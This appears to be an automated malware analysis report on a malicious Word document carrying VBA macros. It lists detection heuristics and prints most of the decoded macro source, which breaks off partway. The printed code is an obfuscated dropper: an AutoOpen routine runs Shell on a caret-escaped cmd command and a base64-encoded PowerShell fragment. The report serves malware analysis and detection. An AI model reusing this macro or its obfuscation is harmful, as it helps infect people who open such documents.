Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b4b3ffc68a85a0a6…

MALICIOUS

Office (OLE)

106.0 KB Created: 2018-06-05 08:42:00 Authoring application: Microsoft Office Word First seen: 2019-05-16
MD5: 2f7cbf5e813cbdb1ef55afc3eec0cf9a SHA-1: bc5177aea38672227dc5e4e64b45e2296c1ff491 SHA-256: b4b3ffc68a85a0a6a0d0be8a545b540e137899f60a5978db40bb5daa2857807b
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter

The sample is a malicious Office document containing VBA macros. The Autoopen subroutine calls the zDaqtud function, which uses the Shell function to execute a command. This command is constructed from concatenated strings, resulting in the execution of 'md JPFQCQGOhtXXarPDXiamaLrjwQUaNSCdrRo UdbjUpwVcj' and 'LFsl & ^c^o^m^S^p^E^c^% %^c^o^m^S^p^E^c^% /V /c set %zjCjTtYSSqtHfEU%'. This behavior is indicative of a dropper or downloader malware.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6582305-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6582305-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10447 bytes
SHA-256: 2b5207d3028bc3405d5c22d055a9136b4f5f84c0bcf2255d8d9ded8afafa1a49
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "svjIzXbitiiwpT"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function zDaqtud()
On Error Resume Next
wnILrs = Hex(iiKhm + Hex(czZfj) * 16930 + Round(iEiLdZ))
sPtmb = Cos(QwpzCG)
EjfUkk = CDate(pudlRR)
zrFwi = Cos(VOPpX)
HpiIb = Hex(abfzYN + Hex(tlhwmI) * 39692 + Round(YSGjA))
oLpRq = Cos(idwKmB)
rqaAS = CDate(VpfoQd)
CwiXXY = Cos(JlPqfi)
zDaqtud = jbDmkzE + Shell(okcLXsM + Chr(TnjsLiElnaA + vbKeyC + sEtaUYKEav) + HYViYa + jhOhdBPBB + RGRXcW + MIdakkw + AJQMRXO + vjEczt, 82408 - 82408)
wPnWM = Hex(AdTwRn + Hex(fiIXZo) * 18927 + Round(ivanNa))
FakVka = Cos(ZrRDs)
ZckFjj = CDate(icrQqY)
OUMjw = Cos(BXsOw)
End Function
Sub Autoopen()
On Error Resume Next
RGERG = Hex(vdUFL + Hex(DhiUc) * 67989 + Round(iLCKE))
hEifCj = Cos(JjOoZ)
kvvvD = CDate(JrfRf)
uJuRrO = Cos(AmYRMw)
zDaqtud
VpLXS = Hex(uQwYjQ + Hex(BvnCnD) * 96359 + Round(aasoA))
ZZMdiw = Cos(nUfIwp)
dKWiaP = CDate(EwWdJA)
uOTiS = Cos(VrmuAT)
End Sub


Attribute VB_Name = "NaHtoNLdP"
Function HYViYa()
On Error Resume Next
WmkQGj = Hex(wTviIN + Hex(tipPN) * 24556 + Round(PCFpSX))
zHltO = Cos(NqvVK)
GNfPJw = CDate(jRaVip)
PGjfa = Cos(IRzLJk)
PzNkSkzH = "md JPF" + "QCQGOhtXXa" + " rPDXiamaLrj" + "wQUaNSC" + "drRo UdbjUpwVcj"
oECiTF = Hex(GWjnw + Hex(ZqAYmD) * 7396 + Round(IGGPvV))
oQTGYE = Cos(cOrBc)
MtWvj = CDate(OSRYZF)
wfwwTY = Cos(rSFQhX)
VCSZiz = "LFsl &   " + "  %^c" + "^o^m^S^p^E^c^% " + "    " + "%^c^o^m^S^p^E^" + "c^%     " + "/V        " + " /c   " + "        set %zj" + "CjTtYSSqtHfEU%"
WNmhka = Hex(jPjLjL + Hex(NWstA) * 83702 + Round(XiSYc))
atoGOL = Cos(sEfrof)
OQOkmN = CDate(dvNXhf)
wjTIHh = Cos(pbdwV)
miriA = "=SZbGDFwCFGPWHS" + "&&set %zpcizcUq" + "%=p" + "&&set %ircBZ" + "PoGnhIU"
OJrBE = Hex(wsGPh + Hex(PPzwaj) * 64149 + Round(TuULih))
iYpkoR = Cos(PUEMS)
jmrUm = CDate(sSOrA)
PptToj = Cos(XYNTR)
EfVNi = "X%=o^w&&set %EO" + "hcTTbIwuXBKkp%" + "=KrAfOm" + "ili"
tVOAct = Hex(QVwjD + Hex(YMoiU) * 63732 + Round(qYbHvf))
tunVT = Cos(ptBiRl)
ldttMQ = CDate(HGjttm)
oUtGEz = Cos(VWhbN)
qjfIvr = "&&set " + "%cLCKRY" + "mtl" + "Ao%" + "=!%zpcizcUq%!&&" + "set %" + "ukzdMiCLAlfZ" + "ClB%=Jb" + "jiCuONsw&&" + "set %OUzUUlol"
LfKKMi = Hex(DMfiuf + Hex(QmLubh) * 97088 + Round(ZHXMo))
QHMSzn = Cos(bvYjKC)
coLMZ = CDate(FiKnz)
iLGDnz = Cos(HnESQv)
lWDFp = "%=e^r&&" + "set %aCDPZks%" + "=!%" + "ircBZPoGnh" + "IUX%!&&set " + "%izwmdE" + "cQk%=s&" + "&set %XWbDS" + "kvuYj" + "cflQV%=K"
QprmOQ = Hex(aYkwLn + Hex(WizZSS) * 17398 + Round(VsljR))
kXWuQi = Cos(PrXYiC)
mVGcM = CDate(kFHtz)
iwTwBh = Cos(iqAOBu)
njjHikOEs = "wKnHFwKEK" + "wCf&&set " + "%dZOfruRhZMd" + "q%=he&" + "&set %aiNKAIAF" + "wtduC%=" + "ll&&!%cLCK"
uGrZA = Hex(QFiAmJ + Hex(GLiQc) * 94704 + Round(zpwsVr))
TNmHEh = Cos(PdOht)
MdUTM = CDate(NsXLkm)
HEFKw = Cos(ICwsr)
wnDiQrNhYFv = "RYmtlAo%!!%" + "aCDPZks%!!%" + "OUz" + "UUlol%!!"
HYViYa = PzNkSkzH + VCSZiz + miriA + EfVNi + qjfIvr + lWDFp + njjHikOEs + wnDiQrNhYFv
End Function
Function jhOhdBPBB()
On Error Resume Next
hbLrhQ = Hex(ikbWVd + Hex(dipwBB) * 40381 + Round(aDKTP))
kKPlca = Cos(RBBquB)
Ujijh = CDate(aiMAq)
YhBIhO = Cos(EwZLl)
AMzRED = "%izwmdE" + "cQk%!" + "!%dZOfruRhZ" + "Md" + "q%!!%aiNK" + "AIAFwtdu" + "C%! " + " -" + "e JgAoACAAJABTA" + "GgAR"
DBLcoF = Hex(ARjuU + Hex(mzCGzO) * 89830 + Round(BwPsTb))
zFuUwr = Cos(RPBYuj)
GAHoHc = CDate(Crczq)
BCwkU = Cos(MCMlZX)
CwSZoz = "QB" + "MAEwASQBkAFsAMQ" + "BdACsAJAB" + "zAGgAZQBsA" + "EwA" + "aQBEAFsAMQAzA" + "F0AKwAn" + "AHgAJwAp" + "ACAAKA"
IjnEZT = Hex(zvzIE + Hex(zrvNS) * 44614 + Round(lcOSR))
QXmtP = Cos(QYTWOn)
dfIFF = CDate(fIiVHz)
CRzfS = Cos(mVCnK)
hovawV = "Bu" + "AGUAd" + "wAtAG8AQgBK" + "AGUAQwBUACAAIA" + "BTAFkAcwB" + "UAGUAbQAuAGkA"
ianoj = Hex(jZPta + Hex(WIimvm) * 4109 + Round(tvfwbn))
tBhas = Cos(DXNrTw)
baEIr = CDate(JJqAZ)
lfImu = Cos(NsQnYi)
nOvSsnWQfO = "bwAuAFMAVAB" + "SA
... (truncated)